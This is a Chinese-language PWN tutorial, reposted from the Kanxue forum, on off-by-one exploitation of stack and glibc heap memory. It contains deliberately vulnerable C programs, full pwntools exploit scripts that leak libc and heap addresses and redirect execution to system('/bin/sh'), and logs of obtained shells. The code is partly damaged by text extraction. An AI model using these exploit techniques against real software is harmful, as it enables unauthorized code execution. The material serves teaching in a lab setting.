最后一项就是数值z的取值问题,z的位置对应fake chunkfd的最低字节,我们需要修改最低字节,让它指向chunk B


我们不要求chunk Bbk的位置上直接提供fake chunk的地址,但是至少也要提供一个模板地址。


想要达到这一效果,就需要chunk B是从small binunsorted bin等会覆写到bk的链表中被取出,并且要求链表中不止存在一个chunk,进而才能让chunk Bbk指向一个真实的chunk。


chunkB          *
bk               | -chunkC_address
fd               |
mchunk_size      |
mchunk_prev_size |

chunk迁移的方法

在上面的分析中,要让chunk留下来可靠的地址,都需要进入指定类型的链表当中,但是chunk被释放时,却未必会直接进入我们期望的链表中。


我们需要用前面学习的内容,手动的让chunk迁移到指定链表中。


自动填的副作用

在上面的fake chunk构造过程中吗,我们可能会使用p8(xxx)发送数据,目的是改写地址指向目标chunk。


由于负责读取数据到缓冲区变量的函数会默认添加时,所以会向原地址多写一个字节,该字节对应的数值就是


0x5555556690
-> send p8(0x10)
->0x5555550010


为了让被改写的地址可以指向有效且正确的chunk,目标chunk的地址必须大于等于地址0xXXXXXX0000,且小于等于0xXXXXXX0100


为了达到这一效果,large chunk需要开一个好头,我们要在申请large chunk前,多申请一些chunk,让large chunk不会和0xXXXXXX0000相差太多。


在已知程序二进制信息的情况下,且系统为开启ASLR机制,你是可以推测出应该在申请large chunk前,还要申请堆内存的。


程序未开启PIE时,程序在运行期时使用的内存地址可以直接获得,根据段信息不难获取程序在运行期的内存布局,因为堆紧跟在ELF文件的内存之后,所以进一步的推测出堆内存在运行期的内存布局也就成了一个可行的事情。


Type		MemSiz		Flags	   runtime memory layout
LOAD 0x000868 R ->00400000-00401000 r--p
LOAD 0x0007a9 R E ->00401000-00402000 r-xp
LOAD 0x000480 R ->00402000-00403000 r--p
LOAD 0x000290 R W ->00404000-00405000 rw-p
GNU_RELRO 0x002dd0 R ->00403000-00404000 r--p
heap ->00405000-00426000 rw-p


在得知[heap]在运行期的内存布局后,我们还要确认另一件事情,那就是程序申请的第一个chunk的内存地址一定是[heap]的起始地址吗?


答案是应该是这样的,但可能会与你的刻板印象有些偏差。


首先呢,第一个申请的chunk肯定来自于top chunktop chunk并不是一开始就分配好的,最一开始时,main_arena->top的数值就是空指针,当程序第一次申请内存时,会判断__malloc_initialized标志,如果为0就说明ptmalloc还没有初始化过,此时会进入ptmalloc_init初始化。


在开始时malloc_init_state会通过initial_topmain_arena->top指针赋值成&bins[0],这个值并不是真实的数值。


接下来,__libc_malloc会初始化tcache,最后GLibC会进入_int_malloc开始正常的chunk申请流程,这时链表中显示是不能匹配到任何东西的,所以GLibC会使用sysmalloc函数,让它通过brk机制扩展堆内存,这时top指针才会指向正确的堆内存区域。


在第一次申请时,拿到的一定是[heap]的起始地址,后面再申请时top指针也会不断向上扩张。


#define initial_top(M)	(unsorted_chunks (M))

__libc_malloc
if (!__malloc_initialized)
-> ptmalloc_init
->if (__malloc_initialized)
->return
-> __malloc_initialized = true;
-> malloc_init_state
-> av->top = initial_top (av);
->MAYBE_INIT_TCACHE();
->tcache_init();
->arena_get (ar_ptr, bytes);
-> victim = _int_malloc (ar_ptr, bytes);
-> void *p = sysmalloc (nb, av);


从上面,我们可以知道程序申请第一个chunk时,得到的起始地址一定是[heap]的起始地址,但是堆内存的申请未必一定是程序主观上通过类似malloc的接口申请的,当程序使用一写库函数时(比如printf),这些库函数也是会申请堆内存的。


所以,在程序主观上申请第一个chunk时,可能已经有库函数申请过了,这个时候要推测large chunk的地址,就需要把库函数申请的部分一并算上。


上面讲了非PIE的情况,开启PIE时的情况也并不算复杂。


内核通过ELF_ET_DYN_BASE宏计算程序的基地址,在64位系统当中,该宏的数值一般为0x555555554AAA,而alignment一般是0x1000,所以load_bias最终会得到0x555555554000,内核会使用load_bias作为程序的内存基地址,基地址加上ELF文件中的相对地址后,就可以得到实际的内存地址。


#define PAGE_SIZE			4096
#define DEFAULT_MAP_WINDOW ((1UL << 47) - PAGE_SIZE)
#define ELF_ET_DYN_BASE (DEFAULT_MAP_WINDOW / 3 * 2)

load_elf_binary
    -> load_bias = ELF_ET_DYN_BASE;
    -> if (alignment)
        load_bias &= ~(alignment - 1);


至于系统开启ASLR的情况,那就是只能自求多福了,毕竟load_bias减去随机值后会变成什么,谁都无法预测。


chunk异常合并的影响分析

现在我们已经成功的让chunk在向后合并阶段,合并了一些尚未释放的chunk,不过这种chunk重叠的情况,会产生什么样子的效果呢?


现在这种情况并不能直接辅助我们对程序的执行流程进行控制,那它能干什么呢?


地址泄露风险分析

先看一下正常的情况。


如果释放chunk时,chunk进入了bins数组中的链表,那么就会复写fdxxbkxx的区域,当chunk再被取出时,如果chunk上的数据被打印,那么fd上的地址就会被泄露出来。


但如果chunk被取出时,读取过数据到缓冲区变量,且负责读取的函数自动在数据后面添加了,那么地址信息就无法被打印出来,因为做了截断。


这个时候,我们假设读取函数会在数据后添加作为结束符。


再来看一下非正常的情况。


当chunk发生异常的向后合并时,会将一些尚未释放的chunk包含进来,这时会形成一个大chunk q进入链表中。


在此时申请内存时,会从chunk q中取出部分返回,余下的chunk w会继续留在链表中,且chunk w上的fdxxbkxx的区域也会被重新覆写。


chunk wfd的地址对应程序中某个尚未释放的chunk e的数据区地址时,我们打印chunk e时,就会把fd的地址打印出来。


program inused chunk:
    chunk e
GLibC
* chunk q     *                   * chunk q     *
| * chunk r * |                   | * chunk w * |
| * chunk w * | -> chunk r out -> | ......      |
| ......      |

after chunk r out
-> chunk w -> fdxx && bkxx overwite to link next chunk
if chunk_w_address == chunk_e_address
-> same as chunk e fdxx && bkxx overwite


这时泄露的地址分成两类,一是真实的chunk地址,我们可以根据它推测出[heap]段的起始地址,二是bins数组的地址,我们可以根据它推测出GLibC的基地址。


[heap]段的基地址比较好推测,地址对应chunk之前分配的内存大小就可以。


至于GLibC地址的推测,可能会复杂一些,在想象当作,可能只有将泄露出来的地址减去main_arena在GLibC中的偏移值以及bins数组在main_arena中的偏移值就可以了,但是main_arena并没有作为符号被导致,所以它的偏移值是无法知晓的。


尽管main_arena没有被到处,但这并不会妨碍我们确定它的偏移地址。


在GLibC的malloc.c源代码中,我们经常可以看到xx = &main_arena的写法出现,显然通过这条语句对应的汇编语句,我们就可以确定main_arena的偏移地址。


下面展示了__libc_mallinfo2的部分汇编代码以及源代码,由于main_arena是全局变量,位于.data节中,main_arena的偏移地址在编译阶段就会确定下来,当GLibC获取main_arena的地址时,就一定会利用当前程序指针作为基地址,然后加上一个常量偏移值,得到main_arena.data节中的偏移地址。


__libc_mallinfo2
    -> ar_ptr = &main_arena;

00000000000a3440 <mallinfo2@@GLIBC_2.33>:
    a346a: 66 0f ef c0          pxor   %xmm0,%xmm0
    a346e: 4825 446 14 00  lea    0x14464b(%rip),%r12
    a3475: 49 89 e5             mov    %rsp,%r13

main_arnea offset = 0xa3475 + 0x14464b


不再存在的unlink_chunk任意地址写

在一开始的设想中,我们是想利用unlink_chunk函数中的赋值语句完成任意地址写的操作,但是随着GLibC的进化,想要完成任意地址写已经不在可能了。


unlink_chunk
    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;
->if (fd->bk != p || bk->fd != p)
-> malloc_printerr
    fd->bk = bk;
    bk->fd = fd;
->if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
->if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
-> malloc_printerr
->if (fd->fd_nextsize == NULL)
-> ......
->else
-> p->fd_nextsize->bk_nextsize = p->bk_nextsize;
-> p->bk_nextsize->fd_nextsize = p->fd_nextsize;


在理想的情况中,针对fdbk的加固是可以接受的,但是针对large bin链表进行的加固检查,却成了压死骆驼的最后一根稻草。


p->fd = bin_at(M, x)
p->bk = bin_at(M, x)
-> fd->bk == p || bk->fd == p

*(rw_address) = glibc_system_address
p->fd_nextsize = read_got_address - offset(bk_nextsize)
p->bk_nextsize = rw_address

p->fd_nextsize->bk_nextsize = p->bk_nextsize;
-> read_got_address = rw_address
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
-> *(rw_address + offset(fd_nextsize)) = read_got_address

got[read] overwrite to GLibC system!


在没有针对large bin检查的情况下,可以构造fd_nextsizebk_nextsize完成任意地址写的功能。


read(xx, xx, xx)
    -> enter GLibC system()


示例讲解

栈场景下的OffByOne

下面是程序的源代码。


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <limits.h>

#define BUF_SIZE 252

staticunsignedlong hacker_addr;
staticunsignedlong caller_rsp_val;
staticunsignedlong callee_rsp_val;
staticunsignedlong callee_rbp_val;

staticvoidgift_give(void){
asm("pop %rdi");
system("/bin/sh");
}

staticvoidstack_vuln(char* data){
char buf[BUF_SIZE];

asm("mov %%rbp, %0" : "=r" (callee_rbp_val));
asm("mov %%rsp, %0" : "=r" (callee_rsp_val));

printf("befor strcpy rbp save val = 0x%lxn"
"current rbp val = 0x%lxn"
"current rsp val = 0x%lxn",
        *(unsignedlong*)(callee_rbp_val),
        callee_rbp_val, callee_rsp_val);
strcpy(buf, data);

    hacker_addr = (caller_rsp_val & 0xFFFFFFFFFF00) + 0x8;
if (hacker_addr >= callee_rsp_val && hacker_addr <= callee_rbp_val) {
        *(unsignedlong*)(hacker_addr) = (unsignedlong)&gift_give;
    }
else {
printf("hacker_addr not in [rbp - rsp] rangen");
    }

printf("after strcpy rbp save val = 0x%lxn", *(unsignedlong*)(callee_rbp_val));
}

staticvoidstack_foo(char* data){
ssize_t len;

asm("mov %%rsp, %0" : "=r" (caller_rsp_val));

printf("caller rsp val = 0x%lxn", caller_rsp_val);

printf("please input somethingn");
    len = read(STDIN_FILENO, data, BUF_SIZE + 0x5);
if (len > BUF_SIZE) {
printf("data larger than 256, will exitn");
    }

stack_vuln(data);
}

intmain(int argc, char* argv[]){
char data[BUF_SIZE + 0x10];

if (argc == 1) {
stack_foo(data);

return 0;
    }

return 0;
}


从源代码中可以看到,stack_vulnbuf变量具有明显的栈溢出情况,这要多谢库函数strcpy的帮助,让buf变量溢出了1个字节。


溢出会将stack_foorbp的最低字节覆盖成0,造成stack_foo函数形成栈迁移,stack_foo函数运行完leave指令后,会完成栈迁移的操作。


此时stack_foo再通过ret指令返回父函数时,会使用stack_vuln上的数据作为返回地址,一旦返回地址指向恶意代码,我们就完成了执行流程的完美控制。


构造exploit

根据前面针对栈场景的OffByOne介绍,构造出下方的exploit。


import pwn
import sys

sys.path.append('../../MyTools')
import conversion

pwn.context.clear()
pwn.context.update(
    arch = 'amd64', os = 'linux',
)

target_info = {
'exec_path''./off_by_one_example',
'exec_info'None,
'addr_len'0x8,
'gift_addr'0x0,
'caller_stack_len'0x20,
'callee_stack_buf_len'0x100,
}

target_info['exec_info'] = pwn.ELF(target_info['exec_path'])
target_info['gift_addr'] = target_info['exec_info'].symbols['gift_give']
print("[--] please disable PIE and canary")

conn = pwn.process(target_info['exec_path'])

leak_info = conn.recvuntil(b'n')
caller_rsp_val = conversion.str2int(leak_info[23:24 + 13])
caller_rbp_val = caller_rsp_val + target_info['caller_stack_len']
print("[++] caller_rbp_val = {0}".format(hex(caller_rbp_val)))
if ((caller_rbp_val & 0x0000000000FF) == 0):
print("[--] *(callee rbp) / (caller rbp) -> lowest byte is 0x00")
print("[--] PWN maybe failed")

conn.recvuntil(b'please input somethingn')

callee_rbp_val = caller_rsp_val - 0x10
hacker_tagret_addr = (caller_rbp_val & 0xFFFFFFFFFF00) + 0x8
if (hacker_tagret_addr > callee_rbp_val):
print("[--] hacker_tagret_addr higher than caller_rsp_val")
print("[--] PWN maybe failed")
buf_val_start_addr = callee_rbp_val - target_info['callee_stack_buf_len']
print("[++] hacker_tagret_addr = {0}".format(hex(hacker_tagret_addr)))
print("[++] buf_val_start_addr = {0}".format(hex(buf_val_start_addr)))

payload = b'A' * (hacker_tagret_addr - buf_val_start_addr)
payload += b'B' * target_info['addr_len']
payload += b'C' * (target_info['callee_stack_buf_len'] - len(payload))

if (len(payload) > target_info['callee_stack_buf_len']):
print("[--] payload is larger than callee bufvar len")
print("[--] PWN maybe failed")
conn.send(payload)
conn.recv()

conn.interactive()


获得shell

运行exploit后,成功获取shell。


[*'./off_by_one_example'
Arch:amd64-64-little
RELRO:Partial RELRO
Stack:No canary found
NX:NX enabled
PIE:No PIE (0x400000)
Stripped:No
Debuginfo:Yes
[--please disable PIE and canary
[+Starting local process './off_by_one_example': pid 156733
[**strings:b'0x7fffffffdba0'
[**hex:0x7fffffffdba0
[++caller_rbp_val = 0x7fffffffdbc0
[++hacker_tagret_addr = 0x7fffffffdb08
[++buf_val_start_addr = 0x7fffffffda90
[*Paused (press any to continue)
[*Switching to interactive mode
$ ls
exploit4heap_off_by_one.py   log.md  Makefile  off_by_one_example
exploit4stack_off_by_one.py  main.c  obj
$ exit
[*Got EOF while reading in interactive


堆溢出场景下的OffByOne

下面给出了程序的源代码。


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <limits.h>

#define ARRARY_SIZE 0x100
#define CHOICE_ALLOC 1
#define CHOICE_DELETE 2
#define CHOICE_SHOW 3
#define HACK_CHANCE 4

#define my_PROTECT_PTR(pos, ptr)
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define my_REVEAL_PTR(ptr)  my_PROTECT_PTR (&ptr, ptr)

typedef void(*func)(char*);

staticint i;
staticchar* buf[ARRARY_SIZE];

staticintint_type_read(constchar* msg){
int tmp;

printf("%s", msg);
scanf("%d", &tmp);

return tmp;
}

staticchardata_alloc_and_read(void){
unsignedint size;
ssize_t len;
char* data;

if (buf[i]) {
printf("buffer [%d] already inuse, needby freen");

return NULL;
    }

    size = int_type_read("input sizen");

printf("input buffern");
    buf[i] = (char*)malloc(sizeof(char) * size);

if (buf[i]) {
        len = read(STDIN_FILENO, buf[i], size);
        data = buf[i];
        data[len] = '';

        i++;
    }

if (i >= ARRARY_SIZE) {
        i = 0;
    }

return data;
}

staticvoiddata_delete(void){
int index;

    index = int_type_read("input delete indexn");

if (index >= 0 && index < i && i < ARRARY_SIZE) {
if (buf[index]) {
free(buf[index]);
            buf[index] = NULL;
        }
    }
}

staticvoiddata_show(void){
int index;

    index = int_type_read("input show indexn");

if (index >= 0 && index < i && i < ARRARY_SIZE) {
if (buf[index]) {
printf("%sn", buf[index]);
        }
    }
}

staticvoiddifficult_gift_give(void){
ssize_t len;
char addr[0x9];
    func tmp;

printf("you can input something for hack!n");
    len = read(STDIN_FILENO, addr, 0x8);

if (len == 0x8) {
memcpy(&tmp, addr, 0x8);
tmp("/bin/sh");
    }
}

staticvoidheap_vuln(void){
bool can_exit;
int choice;

    i = 0;

    can_exit = false;
while (can_exit == false) {
printf(
"choice 1: malloc buffern"
"choice 2: delete buffern"
"choice 3: show buffern"
"choice 4: use giftn"
        );
        choice = int_type_read("input choicen");
printf("get choice %dn", choice);

switch (choice) {
case CHOICE_ALLOC:
data_alloc_and_read();
break;
case CHOICE_DELETE:
data_delete();
break;
case CHOICE_SHOW:
data_show();
break;
case HACK_CHANCE:
difficult_gift_give();
break;
default:
printf("unknow choice [%d], will exitn", choice);
            can_exit = true;
break;
        }
    }
}

intmain(int argc, char* argv[]){
int len;
char* buf1, * buf2, data[BUF_SIZE + 0x10], * tmp;

    tmp = (char*)&buf1;
printf("current tmp addreess = 0x%lxn", (unsignedlong)tmp);
    tmp = my_PROTECT_PTR(&tmp, tmp);
printf("after PROTECT_PTR, tmp addreess = 0x%lxn", (unsignedlong)tmp);
    tmp = my_REVEAL_PTR(tmp);
printf("after REVEAL_PTR, tmp addreess = 0x%lxn", (unsignedlong)tmp);

if (argc == 1) {
stack_foo(data);

return 0;
    }

    len = strnlen(argv[1], PATH_MAX);
if (len > BUF_SIZE) {
printf("too long, will exitn");

return 1;
    }

heap_vuln();

return 0;
}


从源代码中可以看到,程序一共支持四大功能,分别是分配并写数据到chunk中、展示chunk中的数据、删除chunk以及指定地址进行函数调用。


在读取数据到缓冲区变量时,程序会使用自己提出的堆内存申请大小作为判断值,并且还会默认在读取数据的后面添加


由于分配内存的大小可以我们自己控制,所以可以通过n * ALIGN + SIZE_SZ的格式,这个时候OffByOne的利用条件已经达成了。


利用OffByOne漏洞,我们可以向后合并未释放的chunk。


而且利用UAF(GLibC维护的释放chunk和程序正在使用的chunk重复)漏洞,以及bins链表的特性,我们可以让GLibC向程序正在使用的chunk中写入真实的内存地址,程序可以通过打印chunk,将这些数据泄露出来。



只不过,向后合并的流程需要我们利用上面的知识,精心构造chunk完成合并流程。

构造exploit

通过前面的分析构造出下面的exploit。


import pwn
import sys

sys.path.append('../../MyTools')
import conversion

pwn.context.clear()
pwn.context.update(
    arch = 'amd64', os = 'linux',
)

target_info = {
'exec_path''./off_by_one_example',
'exec_info'None,
'libc_info'None,
'addr_len'0x8,
'buf_len'252,
'chunk_offset'0x810,
'chunk_inuse'0x1,
'exp_alloc_size'0x0,
'one_tcache_cnt'0x7,
'libc_base_addr'0x0,
'heap_base_addr'0x0,
}

def int2str2bytes(num):
return str(num).encode('utf-8')

def target_alloc_and_read_call(msg, size):
    conn.sendlineafter(b'input choicen', int2str2bytes(CHOICE_ALLOC_VAL))
    conn.sendlineafter(b'input sizen', int2str2bytes(size))
    conn.sendafter(b'input buffern', msg)

def target_delete_call(index):
    conn.sendlineafter(b'input choicen', int2str2bytes(CHOICE_DELETE_VAL))
    conn.sendlineafter(b'input delete indexn', int2str2bytes(index))

def target_show_call(index):
    conn.sendlineafter(b'input choicen', int2str2bytes(CHOICE_SHOW_VAL))
    conn.sendlineafter(b'input show indexn', int2str2bytes(index))
    leak_data = conn.recvuntil(b'n')
return leak_data[0:-1]

def tcache_clear():
for i in range(target_info['one_tcache_cnt']):
        target_alloc_and_read_call(b'tcache'0x48)

def tcache_fill(base):
for i in range(target_info['one_tcache_cnt']):
        target_delete_call(base + i)

def help_chunk_malloc():
# 11 - 13
    target_alloc_and_read_call(b'10'0x48)
    target_alloc_and_read_call(b'11'0x48)
    target_alloc_and_read_call(b'12'0x48)
    target_alloc_and_read_call(b'13'0x48)
    target_info['exp_alloc_size'] += 0x50 * 4

def chunk_addr_padding():
# 0 - 4
for i in range(5):
        target_alloc_and_read_call(b'padding'0x1000)
# 5
    target_alloc_and_read_call(b'padding'0x900)


def large_chunk_enter_large_bin():
# 6
    target_alloc_and_read_call(b'6'0xF50)
# 7
    target_alloc_and_read_call(b'7'0x10)
# chunk 6 enter unsorted bin
    target_delete_call(6)
# chunk 6 enter large bin
    target_alloc_and_read_call(b'15'0x1000)

def fake_chunk_get_and_set(my_payload):
    target_alloc_and_read_call(my_payload, 0x48)

def fake_chunk_fd_env_set():
# 14 - 20
    tcache_clear()
    target_info['exp_alloc_size'] += 0x50 * target_info['one_tcache_cnt']
    tcache_fill(14)
# help chunk enter fast bin
    target_delete_call(12)
    target_delete_call(10)
# 21 - 27
    tcache_clear()
# fast bin -> unsorted bin -> small bin
    target_alloc_and_read_call(b'28'0x400)
    target_info['exp_alloc_size'] += 0x410
# 29
# get chunk 10 from small bin
# chunk 12 enter tcache again
    payload = pwn.p64(0)
    payload += pwn.p8(0x20)
    target_alloc_and_read_call(payload, 0x48)
# 30
# get chunk 19 from tcache
    target_alloc_and_read_call(b'30'0x48)

def fake_chunk_bk_env_set():
    tcache_fill(21)
# fake chunk 9 && help chunk 11 enter fast bin
# fake_chunk_9_address->fd = chunk_11_address
    target_delete_call(11)
    target_delete_call(9)
# 31 - 37
    tcache_clear()
# 38
# get fake chunk 9 from fast bin
# help chunk 11 enter tcache
    payload = pwn.p8(0x20)
    payload += pwn.p8(0x00)
    payload += pwn.p8(0x56)
    payload += pwn.p8(0x55)
    payload += pwn.p8(0x55)
    payload += pwn.p8(0x55)
    fake_chunk_get_and_set(payload)
# 39
# get help chunk 11 from tcache
    target_alloc_and_read_call(b'39'0x48)

def off_by_one_env_set():
# 40 - 42
    target_alloc_and_read_call(b'40'0x48)
    target_info['exp_alloc_size'] += 0x50
    target_alloc_and_read_call(b'41'0x5f8)
    target_alloc_and_read_call(b'42'0x48)
    target_delete_call(40)
# 43
# get chunk 40 from tcache
# chunk 41 OffByOne
# chunk 41 mchunk_prev_size = 0x810
# chunk 41 mchunk_size = 0xXXX00
    payload = b'A' * 0x40
    payload += pwn.p64(target_info['chunk_offset'])
    target_alloc_and_read_call(payload, 0x48)
print("[--] tips: offset [alloc]:{0} - [use]:{1}".format(hex(target_info['exp_alloc_size']), hex(target_info['chunk_offset'])))

def off_by_one_enable():
    tcache_fill(31)
# chunk 41 free
# enter unlink_chunk, merge non-free chunk
    target_delete_call(41)
# 44 - 50
    tcache_clear()

def libc_base_addr_get():
# 51
# get remaining chunk in linked list
    target_alloc_and_read_call(b'51'0xe0)
# 52
# malloc chunk 51 from large chunk
# let chunk 29 become head of large chunk
# linked list only has large chunk
# chunk 29 fd overwitre to bin_at(M, x)
    target_alloc_and_read_call(b'52'0x38)
    leak_data = target_show_call(29)
    arena_bins_addr = conversion.bytes2int(leak_data)
    main_arena_offset = 0x1e7ac0
    arena_bins_offset = 0x70
    malloc_chunk_fd_offset = 0x10
    target_info['libc_base_addr']  = arena_bins_addr - main_arena_offset - arena_bins_offset + malloc_chunk_fd_offset
print('[++] libc base address = {0}'.format(hex(target_info['libc_base_addr'] )))

def heap_segment_base_addr_get():
# 53 - 56
# get remaining chunk in linked list
    target_alloc_and_read_call(b'53'0xdc0)
# avoid merging 53 with chunk 55
    target_alloc_and_read_call(b'54'0xdc0)
    target_alloc_and_read_call(b'55'0xdc0)
# avoid merging 55 with top chunk
    target_alloc_and_read_call(b'56'0x10)
# chunk 53 && 55 enter unsorted bin
    target_delete_call(55)
    target_delete_call(53)
    leak_data = target_show_call(29)
    chunk_55_addr = conversion.bytes2int(leak_data)
    target_info['heap_base_addr'] = chunk_55_addr - 0x9d70
print('[++] heap base address = {0}'.format(hex(target_info['heap_base_addr'] )))

def shell_get():
    conn.sendlineafter(b'input choicen', int2str2bytes(CHOICE_HACK_CHANCE))
    system_addr = target_info['libc_base_addr'] + target_info['libc_info'].symbols['system']
print('[--] tips system address = {0}'.format(hex(system_addr)))
    payload = pwn.p64(system_addr)
    pwn.pause()
    conn.sendafter(b'you can input something for hack!n', payload)

target_info['exec_info'] = pwn.ELF(target_info['exec_path'])
target_info['libc_info'] = pwn.ELF(target_info['exec_path']).libc
target_info['exp_alloc_size'] = 0

CHOICE_ALLOC_VAL = 1
CHOICE_DELETE_VAL = 2
CHOICE_SHOW_VAL = 3
CHOICE_HACK_CHANCE = 4

print('[--] tips: exploit need diable ASLR')

cmdline = b'test strings'
conn = pwn.process([target_info['exec_path'], cmdline])

chunk_addr_padding()

large_chunk_enter_large_bin()
# 9
# set fake chunk mchunk_prev_size && mchunk_size && fd
payload = pwn.p64(0)
payload += pwn.p64(target_info['chunk_offset'] + target_info['chunk_inuse'])
payload += pwn.p8(0x60)
# 9
# set fake chunk mchunk_prev_size to fake bk
fake_chunk_get_and_set(payload)
# fake chunk start at chunk_address + 0x10 -> fake chunk size - 0x10
target_info['exp_alloc_size'] += 0x40

help_chunk_malloc()
fake_chunk_fd_env_set()
fake_chunk_bk_env_set()

off_by_one_env_set()
# hacker merge chunk generate
off_by_one_enable()

libc_base_addr_get()
heap_segment_base_addr_get()

shell_get()

conn.interactive()


成功PWN

运行exploit后成功获取Shell。


[*'./off_by_one_example'
Arch:amd64-64-little
RELRO:PartialRELRO
Stack:Canaryfound
NX:NXenabled
PIE:PIEenabled
Stripped:No
Debuginfo:Yes
[*'/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch:amd64-64-little
RELRO:FullRELRO
Stack:Canaryfound
NX:NXenabled
PIE:PIEenabled
FORTIFY:Enabled
[--tips:exploitneeddiableASLR
[+Startinglocalprocess'./off_by_one_example':pid162650
[--tips:offset [alloc]:0x810- [use]:0x810
[**bytes:b' {xf9xf7xffx7f'
[**hex:0x7ffff7f97b20
[++libcbaseaddress=0x7ffff7db0000
[**bytes:b'p-VUUU'
[**hex:0x555555562d70
[++heapbaseaddress=0x555555559000
[--tipssystemaddress=0x7ffff7e028d0
[*Paused(pressanytocontinue)
[*Switchingtointeractivemode
$ls
exploit4heap_off_by_one.pylog.mdMakefileoff_by_one_example
exploit4stack_off_by_one.pymain.cobj
$exit



PWN入门——OffByOne遇险

看雪ID:福建炒饭乡会

https://bbs.kanxue.com/user-home-1000123.htm

*本文为看雪论坛精华文章,由 福建炒饭乡会 原创,转载请注明来自看雪社区


# 往期推荐

1、安卓壳学习记录(下)-某加固免费版分析

2、逆向分析:Win10 ObRegisterCallbacks的相关分析

3、VMP入门:VMP1.81 Demo分析

4、腾讯2025游戏安全PC方向初赛题解

5、OLLVM 攻略笔记

6、安卓壳学习记录(上)

PWN入门——OffByOne遇险



PWN入门——OffByOne遇险

球分享

PWN入门——OffByOne遇险

球点赞

PWN入门——OffByOne遇险

球在看


PWN入门——OffByOne遇险

点击阅读原文查看更多


原文始发于微信公众号(看雪学苑):PWN入门——OffByOne遇险

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月21日02:10:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN入门——OffByOne遇险https://cn-sec.com/archives/4087151.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息